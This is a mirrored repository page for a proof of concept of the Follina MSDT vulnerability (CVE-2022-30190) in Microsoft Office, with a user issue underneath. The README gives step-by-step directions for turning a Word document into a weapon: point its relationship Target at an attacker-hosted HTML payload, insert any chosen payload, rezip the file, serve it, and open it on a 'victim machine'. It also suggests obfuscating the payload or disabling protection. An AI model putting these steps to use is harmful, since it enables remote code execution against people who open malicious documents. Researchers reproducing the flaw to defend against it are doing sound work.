Coder Social home page Coder Social logo

poc-msdt-follina's Introduction

POC-msdt-follina

OK, as you know, or don't know, CVE-2022-30190 vulnerability can be described as like an attacker makes some MS Office, puts inside it's structure some link ( html ), and with the help of that, he manage run a malicious code. OLE object (word/_rels/document.xml.rels)
Data phat puts inside, may describe link in the tags with attributes "TYPE=" and "Target=". Link at the target attribute takes to the HTML, which in our case is our PAYLOAD, so that triggers the MSDT protocol. For example -- > "Target="http://Server-Host-Payload:Port/Payload.html".

Now, when opened, the attacker document start to run, and trigger the MSDT. The document can run even in ProtectedMode, and more - You dont even need macros enabled.

You can Modifiy the Payload at www, and insert what ever you want, just to check it on your victim machine. For example --- > After edit the file with Gedit, at [char]34+'[Some/Base64/Syntax/', you can replace it with another Payload of yours.

This Document is already put together, just for the POC, so all you have to change is the Payload script, which in our case is the 'index.html' site, which holds inside of it a '<script>' tags that stored our Payload, and secondly, at /doc/word/_rels directory, there is a file named 'document.xml.rels. Edit it, and replace the '{YourServerHere}' with yours.

After made all of that, just rezip the doc file, you can use 7-zip of whatever you like, open a python server, and good luck. Was Tested on Microsoft Office Document 2007 with no problems, tell me if you managed to get it work on new versions.

For now, dont forget to de-active the real time protection/firewall, else you can obfuscate your PAYLOAD, but for this is all for now.

Educational Purpose Only!

POC-test

Usage

Made a little py script which can help for these who have a little trouble.

  1. Put your local machine ip, with 'http' where the payload is, for example: http://Server:Port/Pay.html
  2. choose a command to be executed, for example: "notepad" or using ps scripts. *Notice: When running the py script, you cannot run it again on the same 'www' directory and 'doc'. if you want to use it again, copy the inside 'BackUp' directory again, and run the py again.

Update

Fixed the rels problem, now it should work. change the folder named "rels" to "_rels" if you have troubles.

poc-msdt-follina's People

Contributors

adkali avatar

Stargazers

 avatar  avatar

Watchers

 avatar

poc-msdt-follina's Issues

Problem in execution !

I had cloned the repository and run the .py in Kali Linux
With following input
python3 Follina.py
http://{kali's IP address}:{port number}/index.html
Payload : notepad
But their is no result, also the video is unclear so help me

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.